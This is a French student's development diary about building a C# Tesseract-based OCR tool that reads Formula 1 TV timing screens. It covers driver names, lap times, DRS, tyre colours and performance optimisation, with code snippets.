g\u00e9n\u00e8r\u00e9 avec le programme de calibration. { \"Main\": { \"x\": 40, \"y\": 230, \"width\": 1845, \"height\": 719, \"Zones\": [ { \"DriverZone\": { \"x\": 0, \"y\": 3, \"width\": 1845, \"height\": 35, \"Windows\": [ { \"Position\": { \"x\": 2, \"y\": 0, \"width\": 32 }, \"GapToLeader\": { \"x\": 204, \"y\": 0, \"width\": 96 }, \"LapTime\": { \"x\": 413, \"y\": 0, \"width\": 105 }, \"Drs\": { \"x\": 526, \"y\": 0, \"width\": 81 }, etc... } ] } } ] } } Dans le futur il faudrait ajouter d'autres choses comme par exemple les diff\u00e9rents pilotes pr\u00e9sents sur le Grand Prix et ce genre d'infos. Quoique je vais l'ajouter d\u00e9ja maintenant et plus tard je mettrai en place la feature acessible depuis l'interface. Mais le hardcoder maintenant me permet d\u00e9ja de mieux coder l'autre c\u00f4t\u00e9. Ce programme n'est en aucun cas termin\u00e9 et je vais devoir travailler encore un peu dessus pour qu'il soit utilisable correctement mais au moins il fonctionne \u00e0 peu pr\u00e8s. Exemple du json avec les noms de pilotes: { \"Main\": { \"x\": 37, \"y\": 238, \"width\": 1851, \"height\": 713, \"Zones\": [ { \"DriverZone\": { \"x\": 0, \"y\": -5, \"width\": 1851, \"height\": 35 } } ] }, \"Drivers\": [ \"Leclerc\", \"Verstappen\", etc... ] } Maintenant je vais m'attaquer au d\u00e9codage. Demain je dois finir le d\u00e9codage du JSON et je dois commencer \u00e0 impl\u00e9menter la reconnaissance des textes. Voire m\u00eame des pneus etc si j'y arrive. Mercredi 5 Avril Bon la il faut vraiment que je finisse assez vite la lecture du JSON et la reconstruction des zones pour commencer la reconnaissance. J'ai pris beaucoup de temps \u00e0 faire le programme de calibration mais je pense que c'est essentiel de prendre ce temps maintenant. (BTW il faudra quand m\u00eame retourner faire une plus jolie version par ce que la ca marche mais c'est tout) Bon apr\u00e8s pas mal de boulot je pense avoir r\u00e9ussi. Dans le nouveau programme on arrive \u00e0 r\u00e9cup\u00e8rer les diff\u00e9rentes zones : \"JSON decode result\" Un conseil de notre professeur M.Bonvin a \u00e9t\u00e9 de cr\u00e9er des Releases de versions qui ne fonctionnent pas ou pas tr\u00e8s bien. J'ai donc publi\u00e9 une premi\u00e8re release de l'OCR_TEST qui fonctionne vite fait. J'ai seulement un petit soucis, comme je recr\u00e9e compl\u00eatement la structure des driver zones avec seulement la premi\u00e8re, il y a un petit d\u00e9calage car entre les zones il y avait un gap. Ce qui fait que si la premi\u00e8re zone est parfaitement centr\u00e9e : \"Centered driver\" La vingti\u00e8me ne l'est plus exactement : \"Uncentered Driver\" Pour ca j'ai essay\u00e9 de mettre un espacement arbitraire mais c'est complexe. Je vais plut\u00f4t tenter de faire une diff\u00e9rence entre la taille de la zone compl\u00eate et de la taille additionn\u00e9e de toutes les fen\u00eatre et diviser le resultat entre toutes les fen\u00eatres. Ca n'est pas parfait mais au moins maintenant les donn\u00e9es ne touchent plus les bords de la fen\u00eatre. Et voila ! Maintenant avec le fichier de configuration en Json on arrive \u00e0 r\u00e9cup\u00e8rer toutes les infos comme si elles avaient \u00e9t\u00e9 envoy\u00e9es directement depuis l'app de calibration mais sans le processing time ! \"Verstappen folder 2 On peut donc ENFIN passer au d\u00e9codage de ces FICHUES donn\u00e9es. Je vais pouvoir impl\u00e9menter ce que j'ai fait dans le projet de test de d\u00e9codage. Gr\u00e2ce \u00e0 mon d\u00e9coupage initial qui m'a pris du temps \u00e0 impl\u00e9menter on a enfin un truc qui marche m\u00eame si je n'ai impl\u00e9ment\u00e9 que la reconnaissance de noms. \"Image reconnaissance propre\" Si on se rappelle du syst\u00e8me de window et de zones dans le diagramme plus haut, c'est assez facile de comprendre comment je m'y suis pris. En gros on des listes et des listes de listes de zones, c'est la partie un peu plus technique car il y a des zones qui peuvent contenir d'autres zones etc. Je vais commencer par la reconnaissance de noms. Voici le tableau de pilotes de 2023 \"Drivers\": [ \"Leclerc\", \"Verstappen\", \"Hamilton\", \"Alonso\", \"Russel\", \"Gasly\", \"Stroll\", \"Sainz\", \"Hulkenberg\", \"Norris\", \"Tsunoda\", \"Piastri\", \"Zhou\", \"Ocon\", \"Magnussen\", \"Perez\", \"Sargeant\", \"De Vries\", \"Bottas\", \"Albon\" ] ET voici le tableau de pilotes de 2022 : \"Drivers\": [ \"Leclerc\", \"Verstappen\", \"Sainz\", \"Perez\", \"Hamilton\", \"Russel\", \"Magnussen\", \"Gasly\", \"Ocon\", \"Alonso\", \"Tsunoda\", \"Bottas\", \"Zhou\", \"Albon\", \"Stroll\", \"Schumacher\", \"Hulkenberg\", \"Norris\", \"Latifi\", \"Ricciardo\" ] Je les notes ici car J'ai souvent besoin de changer selon le dataset que j'utilise. Dans le futur je ferai s\u00fbrement un grand dataset qui prend des pilotes de reserves et des pilotes juniors pour que dans le cas ou un pilote est remplac\u00e9 dans l'ann\u00e9e il n'y a pas besoin de tout recalibrer avec l'application. Apr\u00e8s une discussion avec M.Bonvin j'ai d\u00e9cid\u00e9 de tester 3 valeurs de convertion en noir et blanc et si je ne trouve pas un match exact je prend le nom le plus proche. Pour trouver la string la plus proche je pense que je vais utiliser quelque chose qui s'appelle la technique de Levenshtein. De ce que j'ai compris c'est un algorythme qui permet de donner une metric de diff\u00e9rence entre deux strings. Bon et \u00e9videmment il ne faut pas se tromper dans la liste des pilotes GENRE NE PAS OUBLIER QUE GEORGE RUSSELL COMPORTE DEUX WFNEWIEWV DE \"L\" A LA FIN DE SON NOM CE QUI POURRAIT ENGRANGER 2H DE DEBUGGING POUR RIEN ASK ME HOW I KNOW joker laugh J'ai vraiment un soucis avec Tsunoda, Il a trop tendeance \u00e0 le confondre avec \"TSUNDDA\" et pour des raisons obscures, quand j'applique l'algorythme de Levenshtein le plus proche n'est pas \"Tsunoda\" mais \"Sainz\" iniuvbwdiucbiubisc POURQUOI !!??!! Je pense que cela demande moins de changements de lettres enfin bon c'est quand m\u00eame pas id\u00e9al. Il va falloir que je trouve un moyen de le repond\u00e9rer. C'est dommage par ce que cela marche super avec Alonso Verstappen et Albon. J'ai un peu modifi\u00e9 la methode et j'ai fait en sorte d'envoyer tous les noms en majuscules en me disant que cela pourrait r\u00e9duire le nombre de changements. Et ca a march\u00e9 !! Cela va s\u00fbrement demander plus de tests pour \u00eatre bien s\u00fbr que tout fonctionne nikel, cependant pour le moment ca marche parfaitement avec les pilotes de 2022. Pour ce qui est de la reconnaissance de chiffres, j'ai d\u00e9ja fait une partie du boulot le premier jour alors je vais juste reprendre \u00e0 partir de l\u00e0. Je r\u00e9cup\u00e8re une string de ce type \"1:35.123\" le soucis c'est que les : se transforment parfois en . ou inversement mais bon ca devrait pas \u00eatre trop dur \u00e0 g\u00e8rer. Il faut que je transforme cette string en nombre de milisecondes (Du moins je pense que c'est le meilleur moyen pour ensuite pouvoir facilement comparer et stocker l'information). Cela fait que 1:35:123 en milisecondes donne : 1 * 1000 * 60 => 60'000 35 * 1000 => 35'000 123 => 123 Total : 60'000+35'000+123 => 95'123ms Et pour l'affichage : Minutes = ms / 60'000 secondes = (ms - (minutes/60'000))/1000 ms = ms - ((minutes 60'000) + (secondes * 1000)) Et on se retrouve avec 1:35:123 Maintenant apr\u00e8s un peu de temps pour nettoyer la string etc on se retrouve avec un r\u00e9sultat comme le suivant : Position : 0 Gap to leader : 0:0:0 Lap time : 2:15:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Evidemment pareil pour les autres pilotes Et je me rend compte que j'ai encore tout cass\u00e9 car le laptime ne devrait pas \u00eatre 2:15 mais 1:35... Voila apr\u00e8s une heure de debugging et des ajouts pour nettoyer les chaines on se retrouve avec : Position : 0 Gap to leader : 0:0:0 Lap time : 1:35:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Note: le traitement commence \u00e0 devenir long, il serait peut-\u00eatre int\u00e9ressant d'utiliser un seul Tesseract Engine ou de voir ce qui prend autant de temps, on d\u00e9passe la seconde de traitement ce qui est un peu ma limite. Apr\u00e8s on peut toujours tester de rajouter du multicore processing mais c'est pour une autre fois. Demain je m'occupe de r\u00e8gler les soucis que j'ai avec la prescision de ces temps au tour et j'\u00e9sp\u00e8re pouvoir m'occuper aussi de la position des pneus et du DRS. J'aimerais finir tout ca cette semaine. Jeudi 6 Avril Une id\u00e9e m'est pass\u00e9e par la t\u00eate pendant que je dormais, dans la liste des pilotes, quand ils sont \u00e0 plus d'un tour de retard avec le leader (Ce qui arrive normalement dans presque tous les Grand Prix) on a pas des minutes mais une string qui montre \"+1 Lap\" ou \"+2Laps\" ce qui est \u00e9videmment un probl\u00e8me. Je pense qu'une bonne facon d'envoyer l'info serait de retourner -1 -2etc... \u00e0 la place des milisecondes, mais encore faut-il detecter le nombre de tours Je devrais \u00eatre en train de commencer la documentation de commment tout ce que j'ai fait fonctionne. Cependant je ne me vois pas faire ca tant que je n'ai pas au moins r\u00e9cup\u00e8r\u00e9 toutes les infos au moins un peu proprement. Cela veut dire que je commence officiellement \u00e0 prendre du retard. (Sachant que si je finis tout aujourd'hui une journ\u00e9e de doc suffira largement le terme est un peu exag\u00e8r\u00e9 mais bon) Bon pour la reconnaissance des temps c'est sp\u00e9cial... Le filtre semble ne pas changer grand chose ce qui est probl\u00e9matique et ca n'est vraiment pas fiable. Voici quelques expemples avec un treshold de 100: \"11ZSD\" Cette image est comprise comme \"11ZSD\" 42340 Cette image est comprise comme \"42340\" \"ZZAEB\" Et celle ci \"ZZAEB\"... Ce qui... n'est pas bon du tout... J'ai essay\u00e9 de trouver un fichier d'entrainement sp\u00e9cifiquement fait pour les digits. J'ai essay\u00e9 de blacklister les chars non voulus pour tenter d'obliger Tesseract \u00e0 trouver des chiffres. Avec la premi\u00e8re option, les r\u00e9sultats ne sont pas meilleurs voire pires. Avec la seconde option c'est d\u00e9ja pas mal mieux mais on perd compl\u00e8tement la possibilit\u00e9 de detecter les mots comme \"LEADER\" ou \"LAP\" et de toute facon ca n'est pas parfait. Le soucis c'est que si je n'ai pas des donn\u00e9es fiables c'est juste impossible de faire des calculs et de l'affichage correct... Il faut absolument que je trouve une solution. J'ai essay\u00e9 d'utiliser de l'interpolation our augmenter la taille de l'image et ensuite appliquer mon filtre pour retirer le flou mais sans succ\u00e8s... Pourtant la on se retrouve avec des images plut\u00f4t claires : \"Clear1\" Ici le programme trouve \"44301\" \"Clear2\" Et ici \"A5151\"... On a toujours les m\u00eames probl\u00e8mes. Bon je suis all\u00e9 me renseigner sur l'OCR et je me suis dit que j'allais tenter de faire les choses proprement. Je vais faire passer plusieurs \u00e9tapes de postProcessing avant de donner l'image \u00e0 Tesseract. GrayScale Tresholding InvertColors Scaling Dilatation Ce qui donne : \"Original\" \"Grayscale\" \"InvertColors\" ; \"Resize\" ; \"Dilatation\" Ce qui ne change : Roulement de tambour RIEN kjd viuwvuirnvoirenbf Tout ca pour rien... C'EST BON !!! Bon en fait au final le probl\u00e8me \u00e9tait une mauvaise configuration de Tesseract. Je vais devoir un peu nettoyer tout ca. Mais avec les changements de l'image on a des r\u00e9sultats BEAUCOUP plus pr\u00e9cis et potentiellement utilisables. La je vais devoir faire un serieux travail de nettoyage et simplification de mon code par ce que la c'est vraiment un chantier vu le nombre de choses que j'ai du essayer. J'ai du aussi beaucoup modifier la gestion de l'image ce qui donne : \"Clean\" Et la on a des r\u00e9sultats qui sont vraiment bons. J'ai pu ajouter assez facilement la detection de position comme c'est simplement un chiffre. On se retrouve maintenant avec ce genre de retours : Position : 1 Gap to leader : 8:33:51 Lap time : 2:19:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:0:0 Position : 2 Gap to leader : 0:3:259 Lap time : 23:12:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:38:119 Sector 2 : 0:0:0 Sector 3 : 0:0:0 Il ne manque plus que l'impl\u00e9mentation de la reconnaissance du DRS et des Pneus Et non... je viens de me rendre compte que mon programme a encore cass\u00e9 car le tap time ne peut pas \u00eatre 23 min lol. J'ai un nouveau magnifique probl\u00e8me... Les points et les deux points sont interpr\u00eat\u00e9s comme des chiffres ... Give me a F * * break... J'ai du mal \u00e0 comprendre pourquoi ils ne sont d\u00e9tect\u00e9s comme tels que maintenant. Bon alors il semblerait les temps au tour aie besoin d'un ordre tr\u00e8s pr\u00e9cis pour fonctionner. Grayscale InvertColors Tresholding Resize * 2 Resize * 2 Et la on a des r\u00e9sultats un peu mieux. Bon demain il faut absolument que je me charge de r\u00e8gler tous ces probl\u00e8mes et que je commence la reconnaissance des pneus et de DRS par ce que je commence \u00e0 \u00eatre en retard. Vendredi 6 Avril 2023 Alors aujourd'hui c'est le dernier jour avant de commencer \u00e0 \u00eatre en retard pour de bon. J'ai r\u00e9ussi \u00e0 r\u00e8gler le probl\u00e8me des temps au tour, des gaps, et des secteurs. Dans le processus j'ai cass\u00e9 la detection de position mais ca devrait pas \u00eatre TROP compliqu\u00e9. Et voila ... Apr\u00e8s seulement plus de dix heures de gal\u00e8re, si on donne cette image au programme et le bon JSON le programme nous retourne : Position : 1 Gap to leader : 0:05:059 Lap time : 1:39:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:00:000 Position : 2 Gap to leader : 0:03:259 Lap time : 1:39:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:31:749 Sector 2 : 0:00:000 Sector 3 : 0:00:000 Evidemment le GapToLeader est faux sur leclerc car il est leader mais bon ca je pourrai toujours Hardcoder que le premier a jamais de GapToLeader. Bon j'ai eu beaucoup de soucis que je ne vais pas mentionner ici car ce sont simplement des soucis de logique de programmation pour trouver un DRS ouvert ou non. Au final la technique que j'utilise et qui marche plut\u00f4t bien pour le DRS est que je prend la premi\u00e8re image de DRS et je la d\u00e9clare comme valeur \u00e9talon d'un DRS non actif, en effet dans 99% des cas le leader n'a pas de DRS (cela peut arriver alors il faudra donc juste verifier que les pilotes sont bien \u00e0 moins de deux secondes les uns des autres pour confirmer). Ensuite cette valeur \u00e9talon je la calcule en fonction du nombre de pixels verts dans l'image et si il y a plus de 30% de pixels verts en plus c'est que le DRS est activ\u00e9 ex: Ceci est un DRS ferm\u00e9: \"Closed DRS\" Ceci est un DRS ouvert: \"Open DRS\" Cela marche \u00e0 peu pr\u00e8s tout le temps mais dans le pire des cas on peut toujours verifier que les pilotes sont bien proches pour detecter les potentiels rares cas de faux positifs. J'ai pu augmenter les performances en utilisant un seul engine pour tout le monde et en arr\u00eatant d'utiliser GetPixel et SetPixel qui sont simplement des horreurs \u00e0 utiliser. Mais elles ne sont pas encore bonnes Le soucis avec la detection de pneus cependant, c'est qu'il n'est pas possible d'utiliser la reconnaissance pour savoir ou regarder la couleur car cela ne marcherait pas. Je ne peux pas faire trop de post processing car je dois conserver la couleur Je ne peux pas hardocder un endroit ou aller regarder car cela \u00e9volue tout le long du Grand Prix. Bref c'est la gal\u00e8re. En y r\u00e9flechissant je me suis dit qu'une bonne id\u00e9e pourrait \u00eatre de partir de la droite de la zone du pneu en regardant au milieu de la hauteur. Puis continuer vers la gauche jusqu'\u00e0 ce que je rencontre une couleur diff\u00e9rente. Je pourrai ensuite faire une zone un peu vers la gauche qui devrait contenir les infos du pneu et sur laquelle il sera possible de faire de le reconnaissance de couleur et de la reconnaissance de chiffres. J'ai d\u00e9termin\u00e9 que le background n'\u00e9tait jamais plus clair que #505050 et que donc nimporte quelle couleur qui aurait plus que 50 dans un seul des channels serait consid\u00e8r\u00e9e comme une couleur cassant le background Pour arriver \u00e0 cette conclusion je me suis amus\u00e9 un peu avec les couleurs pour jouer avec les limites de mon algorythme : \"Color fun\" Et je crois que j'ai eu une bonne id\u00e9e, avec une petite methode bien faite on arrive \u00e0 de supers r\u00e9sultats : private Rectangle FindTyreZone() { Bitmap bmp = WindowImage; int currentPosition = bmp.Width; int height = bmp.Height / 2; Color limitColor = Color.FromArgb(0x50,0x50,0x50); Color currentColor = Color.FromArgb(0,0,0); Size newWindowSize = new Size(bmp.Height,bmp.Height); while(currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0) { currentPosition--; currentColor = bmp.GetPixel(currentPosition,height); } //Its here to let the new window include a little bit of the right side int offset = Convert.ToInt32((float)newWindowSize.Width / 100f * 20f); int CorrectedX = currentPosition - (newWindowSize.Width - offset); if (CorrectedX <= 0) return new Rectangle(0,0,newWindowSize.Width,newWindowSize.Height); return new Rectangle(CorrectedX,0,newWindowSize.Width,newWindowSize.Height); } \"Tyres\" Maintenant cela devrait \u00eatre beaucoup plus simple de trouver la couleur g\u00e9n\u00e9rale et le nombre de tours. Donc ce que je fais c'est que je fais une reconnaissance de texte sur l'image r\u00e9duite. Si je trouve une lettre c'est facile Ca me donne le type de pneu et ca me dit que c'est le premier tour avec. Si c'est un nombre alors je fais la moyenne de toutes les couleurs de l'image et je prend la couleur de pneu la plus proche. Voici les diff\u00e9rentes couleurs de pneus : SOFT : #FF0000 MEDIUM : #f5bf00 HARD : #d9d8d4 INTER : #00a42e WET : #2760a6 \"Tyre colors\" Les couleurs de pneus peuvent changer de temps \u00e0 autres, par exemple cette r\u00e8gle de pneus est arriv\u00e9e en 2019 et avant il y avait beaucoup plus de couleurs mais dans une volont\u00e9 de rendre le sport plus facile \u00e0 comprendre \u00e0 la t\u00e9l\u00e9 cela a \u00e9t\u00e9 simplifi\u00e9. Je ne pense pas que cela va changer dans les ann\u00e9es qui viennent alors tout est hardcod\u00e9. Je pense que j'ai des soucis avec la detection de texte et de couleur car ma zone est trop grande. Alors bon j'\u00e9crit ces lignes apres des heures de tests. Il semble que la principale difficult\u00e9 avec ces pneus c'est que les chiffres ou lettres sont minuscules. Il est donc extr\u00eamement difficile de faire une reconnaissance ne serait-ce qu'un peu fiable.. Je fais de mon mieux pour tenter de r\u00e8gler le soucis cependant c'est vraiment complexe. Je commence \u00e0 devenir fou, je tente tout et nimporte quoi pour permettre \u00e0 mon algo de fonctionner et m\u00eame quand je fais du post processing comme pas possible il me retourne toujours nimporte quoi... \"5i t'inqui\u00e8tes\" Ici le programme va trouver '5i'... En fait c'est complexe d'expliquer tout ce que je fais car je change tout en boucle en essayant et en ratant ce qui prend des heures. Pour aujourd'hui j'abandonne je vais simplement rentrer chez moi et y r\u00e9flechir cette nuit mais je ne vois pas comment mieux faire la... C'est terrible par ce que je sens que je ne suis pas bien loin. Vacances Bon je vais un peu laisser de c\u00f4t\u00e9 la detection de chiffres pour me pencher un peu plus sur la d\u00e9tection de couleur. Par ce que techniquement si j'arrive \u00e0 toujours parfaitement la detecter alors je pourrais me passer des chiffres car ils sont redondant si je construit un historique de pneus. J'ai r\u00e9ussi \u00e0 fix mon probl\u00e8me de mauvaise detection de couleur de pneus. Du moins je crois. Seulement j'ai quand m\u00eame un souci, les fen\u00eatres de pneus avec une lettre n'ont pas assez de couleur pour \u00eatre d\u00e9tect\u00e9s. Je vais donc essayer de detecter les cinq lettres possibles et si il ne trouve pas alors je pourrai tenter de detecter les chiffres sans lettres ce qui devrait grandement aider. Le but est encore une fois de r\u00e9duire les possibilit\u00e9s de Tesseract. Je me rend de plus en plus compte que le plus important c'est de r\u00e9duire le scope le plus possible. Moins il y a de mots et lettres et de chiffres possibles meilleure sera la reconnaissance. Bon ca ne veut toujours pas marcher maintenant le 11 est interpr\u00eat\u00e9 comme trois I ou comme un M... J'en ai marre sans rire c'est vraiment p\u00e9nible. Alors j'\u00e9crit ces lignes deux jours plus tard et me rend compte avec horreur que toutes mes modifications sur ce journal de bord n'ont pas \u00e9t\u00e9 auvegard\u00e9e... yess.. Bon pour faire simple, j'ai r\u00e9ussi \u00e0 rendre la detection de couleurs bien plus efficace en r\u00e9duisant la taille de l'image et en ne prenant pas en compte les couleurs que l'on d\u00e9tecte comme \u00e9tant partie int\u00e9grante du background. Par exemple quand on a une image comme celle ci : \"Avec background\" qui contient un background alors que ci dessous, on l'a enlev\u00e9. \"Sans background\" La diff\u00e9rence est t\u00e9nue mais elle permet de grandement am\u00e9liorer la prescision de la reconnaissance de couleurs. Pour ce qui est du nombre de tours je me suis rendu compte que cela n'\u00e9tait d\u00e9ja pas tr\u00e8s utile car avec l'historique on devrait pouvoir le d\u00e9duire. Mais bon pour la forme je me suis dit que cela serait quand m\u00eame une bonne id\u00e9e de v\u00e9rifier avec la reconnaissance. J'\u00e9tais quasi certain que le soucis \u00e9tait le fait que l'on voie le contour du logo de pneu qui faisait que la reconnaissance avait du mal. Et j'avais raison ! En les enlevant (Ce qui n'a pas \u00e9t\u00e9 simple) J'ai pu avoir des chiffres beaucoup plus proches de la r\u00e9alit\u00e9. En m\u00eame temps je ne vois pas bien comment j'aurais pu faire mieux : \"Super 11\" Je suis quand m\u00eame assez fier de voir que j'ai r\u00e9ussi \u00e0 part de l'image que on peut voir un peu plus haut et automatiquement la transormer en celle ci-dessus. J'ai donc pu retirer le round autour du chiffre et cela m'a permit de pouvoir d\u00e9zoomer un peu et c'est avec ca que les lettres ont pu \u00eatre mieux reconnues : \"Super H\" \"Super M\" Maintenant je pense qu'il ne reste \"plus qu'\u00e0\" nettoyer un peu tout ce code qui traine de partout pour tout faire fonctionner et impl\u00e9menter un peu de parrallel processing ainsi que de l'asynchrone pour ne pas bloquer le reste du programme. Par ce qu'il faut savoir que en l'\u00e9t\u00e2t, le programme met 25 secondes \u00e0 d\u00e9marrer et consomme presque 2GB de Ram. Certes cela ne veut pas dire que la reconnaissance \u00e0 elle seule prend 25 secondes car au d\u00e9marrage il y a aussi la lecture du fichier de config et la cr\u00e9ation des window etc.. En r\u00e9alit\u00e9 la partie strictement OCR prend dans les 12s si on en croit la fonction stopWatch de C#. Et quand on change d'image la reconnaissance prend 9s. Dans tout les cas c'est BEAUCOUP trop. J'aurais eu comme objectif de faire une reconnaissance toutes les secondes. Je ne sais pas bien si cela va \u00eatre possible mais en tout cas le but va \u00eatre de s'en rapprocher. Pour \u00eatre plus exact et permettre une comparaison, voici les stats exactes Avec un fichier d'images vide : Loading - 11.8s Splitting d'images - 90ms OCR - 12.5s Avec un fichier d'images plein : Loading - 10.8s Splitting d'images - 80ms Ocr - 11.6s En passant d'une image \u00e0 l'autre : Loading - NaN Splitting d'images - 50ms Ocr - 8.8s Donc on peut voir que les deux endroits ou le programme prend le plus de temps c'est au premier d\u00e9marrage quand il faut lire le fichier et setup les windows etc... Et l'OCR qui prend un temps fou. Ce qui est pratique c'est que les presque 2gb de ram sont utilis\u00e9s que au lancement et ensuite l'application n'en utilise que quelques centaines de mb. Le processeur lui tourne entre 10 et 20% ce qui ne va pas durer :) Je vais m'occuper dabord du loading. J'ai essay\u00e9 d'utiliser un Parrallel.For au moment de la cr\u00e9ation des windows, le probl\u00e8me c'est que visiblement les objets windows sont beaucoup trops complexes et utilisent trop de ressources partag\u00e9es pour \u00eatre vraiment thread Safe. J'\u00e9sp\u00e8re que je n'aurais pas trop de soucis avec ca qu'en j'en viendrai \u00e0 l'optimisation de l'OCR... Ce qui me rend fou c'est que cette boucle toute nulle prend plus de dix secondes \u00e0 s'executer et je ne comprend pas bien pourquoi. for (int i = 0; i < NUMBER_OF_DRIVERS; i++) { Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset) /*- (i* (FirstZoneSize.Height / 32))*/); Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize)); Bitmap zoneImg = newDriverZone.ZoneImage; newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea))); newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea))); newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea))); newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea))); newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea))); newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea))); newDriverZone.AddWindow(new DriverSector1Window(zoneImg, new Rectangle(driverSector1Position, driverSector1Area))); newDriverZone.AddWindow(new DriverSector2Window(zoneImg, new Rectangle(driverSector2Position, driverSector2Area))); newDriverZone.AddWindow(new DriverSector3Window(zoneImg, new Rectangle(driverSector3Position, driverSector3Area))); MainZone.AddZone(newDriverZone); } Alors que Zone.AddWindow c'est simplement : public virtual void AddWindow(Window window) { Windows.Add(window); } Et windows est simplement une liste. Donc ca ne peut pas \u00eatre ca qui prend du temps. Et les windows que je cr\u00e9\u00e9 ont ca comme code : public DriverPositionWindow(Bitmap image, Rectangle bounds) : base(image, bounds) { Name = \"Position\"; } Sachant que le constructeur de base d'une Window c'est : public Window(Bitmap image, Rectangle bounds) { Image = image; Bounds = bounds; Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Engine.DefaultPageSegMode = PageSegMode.SingleLine; } Sachant que TesseractEngine est en statique et que donc il ne devrait... OHLLALALALALALALALALA je suis un imb\u00e9cile... J'ai juste \u00e0 changer ce constructeur avec ca: if (Engine == null) { Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Engine.DefaultPageSegMode = PageSegMode.SingleLine; } ET le loading ne prend plus que 2-300 ms... Bon c'est une tr\u00e8s belle am\u00e9lioration pour pas tr\u00e8s ch\u00e8r mais bon c'est un peu b\u00eate... Bon je pense que 2-300ms c'est une dur\u00e9e correcte surtout que ca n'est appel\u00e9 qu'une fois pour le lancement. On peut passer \u00e0 la suite maintenant. Alors il y a un grand soucis avec la parallellisation de l'OCR... Tesseract n'est pas par d\u00e9faut une classe \"Thread safe\" ce qui veut dire que je ne peut utiliser de parallell.Foreach sur mes windows pour acc\u00e8l\u00e8rer le traitement drastiquement. Je pourrais par exemple avoir une instance de Tesseract par window sauf que cela fait 20 pilotes * 9 windows chacuns ce qui donne 180 instances ce qui n'est tout simplement pas raisonnable. Je vais donc essayer de voir avec l'utilisation de methodes asynchrones qui me permettraient de faire un genre de flux tendu de reconnaissance. J'avoue que la je navigue un peu \u00e0 vue, je me base sur diff\u00e9rentes infos que je trouve sur des sites un peu perdus et sur chatGPT, j'esp\u00e8re que j'arriverai \u00e0 trouver une solution car 10 secondes de reconnaissance c'est vraiment beaucoup trop. Alors le soucis avec un Engine unique entre toutes les windows c'est qu'il n'est pas possible de process plusieurs images \u00e0 la fois. Je vais donc retirer l'engine unique pour voir si en cr\u00e9er un par window me permet de passer en multithreading. La grande question sera : Est-ce que les ressources suppl\u00e9mentaires que vont prendre la cr\u00e9ation de tous ces engines va compenser enti\u00e8rement le temps gagn\u00e9 avec la paralellisation. Pour stocker les donn\u00e9es dans un premier temps je vais cr\u00e9er un objet DriverData. Ce qu'il y a de pratique avec ca, c'est que je pourrais ajouter du code de v\u00e9rification de certaines donn\u00e9es directement dedans avant de les donner \u00e0 la suite du programme. Et on peut m\u00eame imaginer une impl\u00e9mentation d'une liste de DriverData pour avoir l'historique. Ce qui serait cool ca serait de grouper toutes ces data avec un num\u00e9ro de tour. Placer ensuite la liste de Data dans une DB serait ainsi super simple. Mais il va falloir savoir quoi mettre, quelles infos sont redondantes et prendre en compte le fait que un tour affich\u00e9 sur la page de la F1TV n'est accompli que par certains des premiers pilotes. D'autres pilotes peuvent \u00eatre dans des tours pr\u00e9c\u00e9dents si ils ont du retard. Il faudra r\u00e9fl\u00e9chir \u00e0 cela quand je viendrai au mod\u00e8le. Bon pour y arriver j'ai du faire de gros changements et le r\u00e9sultat n'est peut-\u00eatre pas aussi cool que ce que j'aurais voulut... Voici un petit point sur les performances maintenant J'ai \u00e9galement d\u00e9sactiv\u00e9 le dump d'images. Pour le moment j'ai tout mis en commentaire mais cela pourrait \u00eatre int\u00e9ressant de faire en sorte de pouvoir l'activer en changeant une ou deux variables Au d\u00e9marrage : Loading - 113ms Splitting d'images - 14ms Ocr - 7s En passant d'une image \u00e0 l'autre : Loading - 113ms Splitting d'images - 13ms Ocr - 5s Alors clairement les stats montrent qu'il y a eu un changement mesurable mais bon je pensais pouvoir en gagner un peu plus... Je soupconne la cr\u00e9ation d'engines d'\u00eatre \u00e0 l'origine de ces performances presque d\u00e9cevantes. Autre soucis, il semble que plus je change d'image plus la detection est lente et plus je consomme de RAM. Il va falloir que je travaille encore un peu. J'ai tent\u00e9 de mettre un stopwatch sur une des cr\u00e9ations d'engine Tesseract et le r\u00e9sultat me parait fou... Plus d'une seconde c'est dingue. J'ai test\u00e9 dans d'autres endroits du code et effectivement il semble que la cr\u00e9ation d'un engine prenne entre une et deux secondes ce qui est une ETERNITEE what ! Donc il faut optimiser tout ca. Une id\u00e9e serait de d\u00e9composer le threading mais cela me demanderait un gros refactor et je n'ai pas envie d'en refaire un la... Sinon, une fois qu'ils sont cr\u00e9\u00e9s ils ne prennent pas de temps du tout. Cr\u00e9er une fois tous les engines et ensuite les utiliser pourrait \u00eatre une bonne id\u00e9e. Cela prendrait longtemps au load mais ensuite les reconnaissances devraient \u00eatre super rapides. Ok alors ca c'est d\u00e9ja plus ce \u00e0 quoi je m'attendais ! On est de nouveau \u00e0 plus de 10s de loading time mais on est descendu \u00e0 deux secondes par OCR. 